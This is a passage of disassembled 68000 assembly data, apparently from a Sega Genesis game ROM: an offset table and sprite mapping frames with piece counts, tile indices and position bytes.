165 dc.w word_149C20-Map_148EB8; 166 dc.w word_149C3A-Map_148EB8; 167 dc.w word_149C48-Map_148EB8; 168 dc.w word_149C5C-Map_148EB8; 169 dc.w word_149C6A-Map_148EB8; 170 dc.w word_149C72-Map_148EB8; 171 dc.w word_149C7A-Map_148EB8; 172 dc.w word_149C82-Map_148EB8; 173 dc.w word_149C8A-Map_148EB8; 174 dc.w word_149C92-Map_148EB8; 175 dc.w word_149C9A-Map_148EB8; 176 dc.w word_149CA2-Map_148EB8; 177 dc.w word_149CAA-Map_148EB8; 178 dc.w word_149CB2-Map_148EB8; 179 dc.w word_149CBA-Map_148EB8; 180 dc.w word_149CC2-Map_148EB8; 181 dc.w word_149CD6-Map_148EB8; 182 dc.w word_149CE4-Map_148EB8; 183 dc.w word_149CEC-Map_148EB8; 184 dc.w word_149CFA-Map_148EB8; 185 dc.w word_149D0E-Map_148EB8; 186 dc.w word_149D22-Map_148EB8; 187 dc.w word_149D30-Map_148EB8; 188 dc.w word_149D44-Map_148EB8; 189 dc.w word_149D58-Map_148EB8; 190 dc.w word_149D6C-Map_148EB8; 191 dc.w word_149D7A-Map_148EB8; 192 dc.w word_149D94-Map_148EB8; 193 dc.w word_149DA2-Map_148EB8; 194 dc.w word_149DB6-Map_148EB8; 195 dc.w word_149DD0-Map_148EB8; 196 dc.w word_149DEA-Map_148EB8; 197 dc.w word_149E04-Map_148EB8; 198 dc.w word_149E1E-Map_148EB8; 199 dc.w word_149E38-Map_148EB8; 200 dc.w word_149E52-Map_148EB8; 201 dc.w word_149E6C-Map_148EB8; 202 dc.w word_149E86-Map_148EB8; 203 dc.w word_149E8E-Map_148EB8; 204 dc.w word_149E96-Map_148EB8; 205 dc.w word_149EAA-Map_148EB8; 206 dc.w word_149EBE-Map_148EB8; 207 dc.w word_149ECC-Map_148EB8; 208 dc.w word_149EDA-Map_148EB8; 209 dc.w word_149EDA-Map_148EB8; 210 dc.w word_149EDA-Map_148EB8; 211 dc.w word_149EDA-Map_148EB8; 212 dc.w word_149EDA-Map_148EB8; 213 dc.w word_149EDA-Map_148EB8; 214 dc.w word_149EDA-Map_148EB8; 215 dc.w word_149EDA-Map_148EB8; 216 dc.w word_149EDA-Map_148EB8; 217 dc.w word_149EDA-Map_148EB8; 218 dc.w word_149EDA-Map_148EB8; 219 dc.w word_149EDA-Map_148EB8; 220 dc.w word_149EDA-Map_148EB8; 221 dc.w word_149EDA-Map_148EB8; 222 dc.w word_149EDA-Map_148EB8; 223 dc.w word_149EEE-Map_148EB8; 224 dc.w word_149EFC-Map_148EB8; 225 dc.w word_149F10-Map_148EB8; 226 dc.w word_149F1E-Map_148EB8; 227 dc.w word_149F38-Map_148EB8; 228 dc.w word_149F52-Map_148EB8; 229 dc.w word_149F66-Map_148EB8; 230 dc.w word_149F74-Map_148EB8; 231 dc.w word_149F88-Map_148EB8; 232 dc.w word_149F96-Map_148EB8; 233 dc.w word_149FAA-Map_148EB8; 234 dc.w word_149FBE-Map_148EB8; 235 dc.w word_149FC6-Map_148EB8; 236 dc.w word_149FDA-Map_148EB8; 237 dc.w word_149FDA-Map_148EB8; 238 dc.w word_149FEE-Map_148EB8; 239 dc.w word_149FFC-Map_148EB8; 240 dc.w word_14A00A-Map_148EB8; 241 dc.w word_14A018-Map_148EB8; 242 dc.w word_14A020-Map_148EB8; 243 dc.w word_14A02E-Map_148EB8; 244 dc.w word_14A03C-Map_148EB8; 245 dc.w word_14A04A-Map_148EB8; 246 dc.w word_14A058-Map_148EB8; 247 dc.w word_14A066-Map_148EB8; 248 dc.w word_14A06E-Map_148EB8; 249 dc.w word_14A07C-Map_148EB8; 250 word_1490AE: dc.w 0 ; DATA XREF: ROM:00148EB8o word_1490B0: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b 0, 9, 0, 0, $FF, $E4 dc.b $EC, 4, 0, 6, $FF, $F9 dc.b $F4, 9, 0, 8, $FF, $F1 dc.b 4, $D, 0, $E, $FF, $F1 word_1490CA: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b 0, 9, 0, 0, $FF, $E2 dc.b $F0, $D, 0, 6, $FF, $ED dc.b 0, 8, 0, $E, $FF, $ED dc.b 8, $C, 0, $11, $FF, $ED word_1490E4: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $FC, 9, 0, 0, $FF, $E6 dc.b $F0, $A, 0, 6, $FF, $FB dc.b 8, 8, 0, $F, $FF, $F3 word_1490F8: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $FE, 9, 0, 0, $FF, $E4 dc.b $F0, $D, 0, 6, $FF, $F0 dc.b 0, 8, 0, $E, $FF, $F0 dc.b 8, $C, 0, $11, $FF, $F0 word_149112: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b 0, 9, 0, 0, $FF, $E4 dc.b $EC, 4, 0, 6, $FF, $F8 dc.b $F4, 9, 0, 8, $FF, $F0 dc.b 4, $D, 0, $E, $FF, $F0 word_14912C: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b 0, 9, 0, 0, $FF, $E4 dc.b $F0, $D, 0, 6, $FF, $F0 dc.b 0, 8, 0, $E, $FF, $F0 dc.b 8, $C, 0, $11, $FF, $F0 word_149146: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $FE, 9, 0, 0, $FF, $E4 dc.b $F0, $A, 0, 6, $FF, $F8 dc.b 8, 8, 0, $F, $FF, $F0 word_14915A: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $FE, 9, 0, 0, $FF, $E4 dc.b $F0, $D, 0, 6, $FF, $F0 dc.b 0, 8, 0, $E, $FF, $F0 dc.b 8, $C, 0, $11, $FF, $F0 word_149174: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $EE, 4, 0, 0, $FF, $F2 dc.b $F6, $D, 0, 2, $FF, $F2 dc.b 6, 8, 0, $A, $FF, $FA dc.b $E, 8, 0, $D, $FF, $F2 word_14918E: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F1 dc.b $F8, 6, 0, $C, 0, 9 dc.b $10, 8, 0, $12, $FF, $F1 word_1491A2: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $EA, 4, 0, 0, $FF, $F8 dc.b $F2, $D, 0, 2, $FF, $F0 dc.b 2, 8, 0, $A, $FF, $F8 dc.b $A, $D, 0, $D, $FF, $F0 word_1491BC: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EF, 4, 0, 0, $FF, $F6 dc.b $F7, $F, 0, 2, $FF, $EE dc.b $FF, 0, 0, $12, 0, $E word_1491D0: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $ED, 8, 0, 0, $FF, $F2 dc.b $F5, $D, 0, 3, $FF, $F2 dc.b 5, 9, 0, $B, $FF, $F2 word_1491E4: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F2, 4, 0, 0, $FF, $F7 dc.b $FA, $B, 0, 2, $FF, $EF dc.b 2, 5, 0, $E, 0, 7 word_1491F8: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 4, 0, 0, $FF, $F7 dc.b $F8, 8, 0, 2, $FF, $EF dc.b 0, $E, 0, 5, $FF, $EF word_14920C: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $EC, 0, 0, 0, $FF, $FC dc.b $F4, 9, 0, 1, $FF, $F4 dc.b 4, $C, 0, 7, $FF, $F4 dc.b $C, $C, 0, $B, $FF, $EC word_149226: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b 6, 6, 0, 0, $FF, $FC dc.b $EE, 4, 0, 6, 0, 0 dc.b $F6, $E, 0, 8, $FF, $F0 word_14923A: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b 4, 6, 0, 0, $FF, $FC dc.b $F2, $E, 0, 6, $FF, $F0 dc.b $A, 0, 0, $12, 0, 8 word_14924E: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b 4, 6, 0, 0, $FF, $FC dc.b $F2, 8, 0, 6, $FF, $F0 dc.b $FA, $D, 0, 9, $FF, $F0 word_149262: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b 6, 6, 0, 0, $FF, $FC dc.b $F4, $E, 0, 6, $FF, $F0 word_149270: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b 4, 6, 0, 0, $FF, $FC dc.b $ED, 4, 0, 6, 0, 0 dc.b $F5, $E, 0, 8, $FF, $F0 word_149284: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b 6, 6, 0, 0, $FF, $FC dc.b $F4, $E, 0, 6, $FF, $F0 word_149292: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b 4, 6, 0, 0, $FF, $FC dc.b $F1, 8, 0, 6, $FF, $F0 dc.b $F9, $D, 0, 9, $FF, $F0 word_1492A6: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b 2, 6, 0, 0, $FF, $FC dc.b $F4, $E, 0, 6, $FF, $F0 word_1492B4: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EF, 8, 0, 0, $FF, $F5 dc.b $F7, $E, 0, 3, $FF, $F5 dc.b $FF, 1, 0, $F, $FF, $ED word_1492C8: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $E8, 4, 0, 0, $FF, $F8 dc.b $F0, 8, 0, 2, $FF, $F8 dc.b $F8, $E, 0, 5, $FF, $F0 dc.b $F8, 2, 0, $11, 0, $10 word_1492E2: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F0, $C, 0, 0, $FF, $F1 dc.b $F8, $C, 0, 4, $FF, $E9 dc.b 0, 9, 0, 8, $FF, $F1 dc.b $F8, 6, 0, $E, 0, 9 word_1492FC: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EA, 0, 0, 0, $FF, $FE dc.b $F2, $F, 0, 1, $FF, $F6 dc.b $FA, 1, 0, $11, $FF, $EE word_149310: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EF, 4, 0, 0, $FF, $F7 dc.b $F7, $E, 0, 2, $FF, $EF dc.b $F7, 2, 0, $E, 0, $F word_149324: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $E9, 0, 0, 0, 0, 0 dc.b $F1, 4, 0, 1, 0, 0 dc.b $F9, $E, 0, 3, $FF, $F8 dc.b $F9, 1, 0, $F, $FF, $F0 word_14933E: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F1, 8, 0, 0, 0, 0 dc.b $F9, $E, 0, 3, $FF, $F8 dc.b $F9, 1, 0, $F, $FF, $F0 word_149352: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $EC, 0, 0, 0, 0, 4 dc.b $F4, $E, 0, 1, $FF, $F4 dc.b $FC, 0, 0, $D, $FF, $EC dc.b $C, 0, 0, $E, 0, $C word_14936C: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F0, 7, 0, 0, $FF, $EA dc.b $F0, 9, 0, 8, $FF, $F8 dc.b 0, $C, 0, $E, $FF, $F0 dc.b 8, 4, 0, $12, $FF, $F0 word_149386: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $FC, 4, 0, 0, $FF, $EA dc.b $F0, 9, 0, 2, $FF, $F8 dc.b 0, $C, 0, 8, $FF, $F0 dc.b 8, 4, 0, $C, $FF, $F0 word_1493A0: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F8, 5, 0, 0, $FF, $EA dc.b $F0, 9, 0, 4, $FF, $F8 dc.b 0, $C, 0, $A, $FF, $F0 dc.b 8, 4, 0, $E, $FF, $F0 word_1493BA: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F0, 7, 0, 0, $FF, $EA dc.b $F0, 9, 0, 8, $FF, $F8 dc.b 0, $C, 0, $E, $FF, $F0 dc.b 8, 4, 0, $12, $FF, $F0 word_1493D4: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $FC, $B, 0, 0, $FF, $E8 dc.b $EC, 4, 0, $C, $FF, $F8 dc.b $F4, 9, 0, $E, $FF, $F0 dc.b 4, 5, 0, $14, $FF, $F8 word_1493EE: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b 0, 9, 0, 0, $FF, $E4 dc.b $ED, 4, 0, 6, $FF, $F8 dc.b $F5, 9, 0, 8, $FF, $F0 dc.b 5, 5, 0, $E, $FF, $F8 word_149408: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b 0, 5, 0, 0, $FF, $F0 dc.b $EC, 4, 0, 4, $FF, $F8 dc.b $F4, 9, 0, 6, $FF, $F0 dc.b 4, 5, 0, $C, $FF, $F8 word_149422: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b 0, 6, 0, 0, $FF, $EF dc.b $ED, 4, 0, 6, $FF, $F8 dc.b $F5, 9, 0, 8, $FF, $F0 dc.b 5, 5, 0, $E, $FF, $F8 word_14943C: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b 6, $D, 0, 0, $FF, $F0 dc.b $F0, 9, 0, 8, $FF, $F0 dc.b 0, $C, 0, $E, $FF, $F0 dc.b 8, 4, 0, $12, 0, 0 word_149456: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b 6, 1, 0, 0, $FF, $FC dc.b $F0, 9, 0, 2, $FF, $F0 dc.b 0, $C, 0, 8, $FF, $F0 dc.b 8, 4, 0, $C, 0, 0 word_149470: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b 6, 5, 0, 0, $FF, $F8 dc.b $F0, 9, 0, 4, $FF, $F0 dc.b 0, $C, 0, $A, $FF, $F0 dc.b 8, 4, 0, $E, 0, 0 word_14948A: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b 6, $D, 0, 0, $FF, $F0 dc.b $F0, 9, 0, 8, $FF, $F0 dc.b 0, $C, 0, $E, $FF, $F0 dc.b 8, 4, 0, $12, 0, 0 word_1494A4: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $FC, $E, 0, 0, $FF, $F7 dc.b $F8, $D, 0, $C, $FF, $EC dc.b $F8, 1, 0, $14, 0, $C dc.b 8, 4, 0, $16, $FF, $F4 word_1494BE: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $FE, 6, 0, 0, $FF, $FC dc.b $F8, $D, 0, 6, $FF, $EB dc.b $F8, 1, 0, $E, 0, $B dc.b 8, 4, 0, $10, $FF, $F3 word_1494D8: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $FD, 5, 0, 0, $FF, $FB dc.b $F8, $D, 0, 4, $FF, $EC dc.b $F8, 1, 0, $C, 0, $C dc.b 8, 4, 0, $E, $FF, $F4 word_1494F2: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $FC, 9, 0, 0, $FF, $FA dc.b $F8, $D, 0, 6, $FF, $EB dc.b $F8, 1, 0, $E, 0, $B dc.b 8, 4, 0, $10, $FF, $F3 word_14950C: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F1 word_149514: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $EC, $B, 0, 0, $FF, $F1 dc.b $C, 4, 0, $C, $FF, $F1 word_149522: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $ED, $B, 0, 0, $FF, $F3 word_14952A: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F8, $A, 0, 0, $FF, $F3 word_149532: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F3, $A, 0, 0, $FF, $F3 dc.b $B, 0, 0, 9, 0, 3 word_149540: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $EF, 4, 0, 0, $FF, $F2 dc.b $F7, $A, 0, 2, $FF, $F2 word_14954E: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F2, 4, 0, 0, $FF, $F2 dc.b $FA, $A, 0, 2, $FF, $F2 word_14955C: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, 4, 0, 0, $FF, $F4 dc.b $F8, $A, 0, 2, $FF, $F4 word_14956A: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $EE, 4, 0, 0, $FF, $F4 dc.b $F6, $A, 0, 2, $FF, $F4 word_149578: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F4, 9, 0, 0, $FF, $F1 dc.b 4, 4, 0, 6, $FF, $F9 word_149586: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F4, $A, 0, 0, $FF, $F1 dc.b $C, 0, 0, 9, $FF, $F1 word_149594: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F1, 9, 0, 0, $FF, $F4 dc.b 1, 5, 0, 6, $FF, $F4 word_1495A2: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F1, $A, 0, 0, $FF, $F2 dc.b 9, 4, 0, 9, $FF, $FA word_1495B0: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $ED, 0, 0, 0, 0, 1 dc.b $F5, $A, 0, 1, $FF, $F1 word_1495BE: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F3, $A, 0, 0, $FF, $F3 word_1495C6: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EE, 4, 0, 0, $FF, $F2 dc.b $F6, 9, 0, 2, $FF, $F2 dc.b 6, 4, 0, 8, $FF, $FA word_1495DA: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F1 word_1495E2: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F1, $B, 0, 0, $FF, $F0 word_1495EA: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 8, 0, 0, $FF, $F4 dc.b $F8, 4, 0, 3, $FF, $F4 dc.b 0, 9, 0, 5, $FF, $F4 word_1495FE: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $EC, 0, 0, 0, $FF, $F9 dc.b $F4, $A, 0, 1, $FF, $F1 word_14960C: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F4, 9, 0, 0, $FF, $F1 dc.b 4, 0, 0, 6, $FF, $F1 word_14961A: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F2, 4, 0, 0, $FF, $F7 dc.b $FA, 9, 0, 2, $FF, $EF word_149628: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $ED, 4, 0, 0, $FF, $F5 dc.b $F5, 9, 0, 2, $FF, $F5 dc.b 5, 4, 0, 8, $FF, $F5 word_14963C: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $EF, $A, 0, 0, $FF, $F1 dc.b 7, 4, 0, 9, $FF, $F9 word_14964A: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F2, 8, 0, 0, $FF, $F5 dc.b $FA, $D, 0, 3, $FF, $ED dc.b $FA, 0, 0, $B, 0, $D word_14965E: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F2, 8, 0, 0, $FF, $F8 dc.b $FA, $D, 0, 3, $FF, $F0 word_14966C: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F2, 4, 0, 0, $FF, $F7 dc.b $FA, 8, 0, 2, $FF, $F7 dc.b 2, $C, 0, 5, $FF, $EF word_149680: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, 4, 0, 0, $FF, $FC dc.b $F8, $A, 0, 2, $FF, $F4 word_14968E: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 4, 0, 0, $FF, $FC dc.b $F8, 9, 0, 2, $FF, $F4 dc.b 8, 4, 0, 8, $FF, $F4 word_1496A2: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $EA, 0, 0, 0, 0, 0 dc.b $F2, 4, 0, 1, 0, 0 dc.b $FA, $C, 0, 3, $FF, $F0 dc.b 2, 9, 0, 7, $FF, $F0 word_1496BC: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $ED, 4, 0, 0, 0, 0 dc.b $F5, $C, 0, 2, $FF, $F0 dc.b $FD, 9, 0, 6, $FF, $F0 dc.b $D, 4, 0, $C, $FF, $F8 word_1496D6: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $EB, 4, 0, 0, $FF, $F9 dc.b $F3, $C, 0, 2, $FF, $F1 dc.b $FB, 9, 0, 6, $FF, $F1 dc.b $B, 0, 0, $C, $FF, $F9 word_1496F0: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EF, 4, 0, 0, $FF, $FA dc.b $F7, 9, 0, 2, $FF, $F2 dc.b 7, 4, 0, 8, $FF, $FA word_149704: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F4, 4, 0, 0, $FF, $F8 dc.b $FC, $C, 0, 2, $FF, $F0 dc.b 4, 4, 0, 6, $FF, $F8 word_149718: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F4, $D, 0, 0, $FF, $F0 dc.b 4, 8, 0, 8, $FF, $F0 word_149726: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F3, 8, 0, 0, $FF, $F6 dc.b $FB, $D, 0, 3, $FF, $EE word_149734: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 8, 0, 0, $FF, $F8 dc.b $F8, $C, 0, 3, $FF, $F0 dc.b 0, 9, 0, 7, $FF, $F0 word_149748: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F3 word_149750: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 8, 0, 0, $FF, $F7 dc.b $F8, 5, 0, 3, $FF, $F7 dc.b 8, 8, 0, 7, $FF, $F7 word_149764: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F3 word_14976C: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F3 word_149774: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 4, 0, 0, $FF, $F7 dc.b $F8, 9, 0, 2, $FF, $F7 dc.b 8, 4, 0, 8, $FF, $F7 word_149788: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F4 word_149790: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F4, 8, 0, 0, $FF, $F0 dc.b $F4, 4, 0, 3, 0, $10 dc.b $FC, $D, 0, 5, $FF, $F0 dc.b $FC, 5, 0, $D, 0, $10 word_1497AA: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F4, $E, 0, 0, $FF, $FD word_1497B2: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F4, $E, 0, 0, $FF, $F1 dc.b $F4, 0, 0, $C, $FF, $E9 dc.b 4, 0, 0, $D, $FF, $E9 word_1497C6: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F4, $E, 0, 0, $FF, $F1 dc.b $F4, 6, 0, $C, $FF, $E1 word_1497D4: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F4, $E, 0, 0, $FF, $F4 word_1497DC: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F4, $E, 0, 0, $FF, $E6 word_1497E4: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F4, 8, 0, 0, $FF, $F4 dc.b $FC, $D, 0, 3, $FF, $EC dc.b $FC, 1, 0, $B, 0, $C word_1497F8: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $E8, $A, 0, 0, $FF, $F5 dc.b 0, 4, 0, 9, $FF, $F5 dc.b 8, 8, 0, $B, $FF, $F5 dc.b $10, 8, 0, $E, $FF, $F5 word_149812: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F1, $B, 0, 0, $FF, $F4 word_14981A: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $E9, $B, 0, 0, $FF, $F4 dc.b 9, 8, 0, $C, $FF, $F4 word_149828: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $E7, $B, 0, 0, $FF, $F4 dc.b 7, 9, 0, $C, $FF, $F4 word_149836: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F4 word_14983E: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F4 word_149846: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EF, 8, 0, 0, $FF, $F7 dc.b $F7, $E, 0, 3, $FF, $EF dc.b 7, 0, 0, $F, 0, $F word_14985A: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EE, 4, 0, 0, $FF, $F7 dc.b $F6, $D, 0, 2, $FF, $EF dc.b 6, 8, 0, $A, $FF, $F7 word_14986E: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $EE, 4, 0, 0, $FF, $F3 dc.b $F6, $A, 0, 2, $FF, $F3 word_14987C: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F1, 8, 0, 0, $FF, $EE dc.b $F9, $D, 0, 3, $FF, $EE word_14988A: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F3, 8, 0, 0, $FF, $EF dc.b $FB, $D, 0, 3, $FF, $EF word_149898: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F8, $D, 0, 0, $FF, $F1 dc.b 8, 8, 0, 8, $FF, $F9 word_1498A6: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F6, 9, 0, 0, $FF, $F4 dc.b 6, 4, 0, 6, $FF, $FC word_1498B4: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F6, 9, 0, 0, $FF, $F4 dc.b 6, $C, 0, 6, $FF, $EC word_1498C2: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F7, $D, 0, 0, $FF, $EF dc.b 7, 8, 0, 8, $FF, $EF word_1498D0: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F6, $E, 0, 0, $FF, $EF word_1498D8: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F6, $E, 0, 0, $FF, $F7 dc.b $FE, 1, 0, $C, $FF, $EF word_1498E6: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F5, $E, 0, 0, $FF, $F2 word_1498EE: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F7, $A, 0, 0, $FF, $F2 word_1498F6: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F4, 8, 0, 0, $FF, $F2 dc.b $FC, $D, 0, 3, $FF, $F2 word_149904: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F3, 8, 0, 0, $FF, $F0 dc.b $FB, $D, 0, 3, $FF, $F0 word_149912: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $E6, $C, 0, 0, $FF, $F2 dc.b $EE, 9, 0, 4, $FF, $F2 dc.b $FE, $C, 0, $A, $FF, $F2 dc.b 6, 8, 0, $E, $FF, $FA word_14992C: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $E2, 4, 0, 0, $FF, $EE dc.b $EA, 9, 0, 2, $FF, $E6 dc.b $F2, 1, 0, 8, 0, 6 dc.b $FA, 9, 0, $A, $FF, $EE word_149946: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $EE, 0, 0, 0, $FF, $E4 dc.b $EE, 6, 0, 1, $FF, $FC dc.b $F6, 9, 0, 7, $FF, $E4 dc.b 6, $C, 0, $D, $FF, $E4 word_149960: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F4, 4, 0, 0, $FF, $F1 dc.b $FC, 6, 0, 2, $FF, $F9 dc.b 4, 9, 0, 8, $FF, $E1 dc.b $14, 4, 0, $E, $FF, $E9 word_14997A: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $14, $C, $18, 0, $FF, $EE dc.b 4, 9, $18, 4, $FF, $F6 dc.b $FC, $C, $18, $A, $FF, $EE dc.b $F4, 8, $18, $E, $FF, $EE word_149994: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $16, 4, $18, 0, 0, 3 dc.b 6, 9, $18, 2, 0, 3 dc.b $FE, 1, $18, 8, $FF, $F3 dc.b $F6, 9, $18, $A, $FF, $FB word_1499AE: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $A, 0, $18, 0, 0, $15 dc.b $FA, 6, $18, 1, $FF, $F5 dc.b $FA, 9, 0, 7, 0, 5 dc.b $F2, $C, $18, $D, $FF, $FD word_1499C8: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b 5, 4, $18, 0, 0, 1 dc.b $ED, 6, $18, 2, $FF, $F9 dc.b $ED, 9, $18, 8, 0, 9 dc.b $E5, 4, $18, $E, 0, 9 word_1499E2: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $E8, $D, 0, 0, $FF, $EF dc.b $F8, $A, 0, 8, $FF, $EF word_1499F0: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $E9, $C, 0, 0, $FF, $EE dc.b $F1, 8, 0, 4, $FF, $EE dc.b $F9, $E, 0, 7, $FF, $E6 dc.b $11, 4, 0, $13, $FF, $EE word_149A0A: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $E9, $A, 0, 0, $FF, $F6 dc.b $F9, 4, 0, 9, $FF, $E6 dc.b 1, $C, 0, $B, $FF, $E6 dc.b 9, 5, 0, $F, $FF, $F6 word_149A24: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $E8, $F, 0, 0, $FF, $EC dc.b $E8, 0, 0, $10, 0, $C dc.b 8, 8, 0, $11, $FF, $F4 word_149A38: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $E9, 9, 0, 0, $FF, $F6 dc.b $F9, $D, 0, 6, $FF, $E6 dc.b 9, 5, 0, $E, $FF, $F6 word_149A4C: dc.w 4 ; DATA XREF: 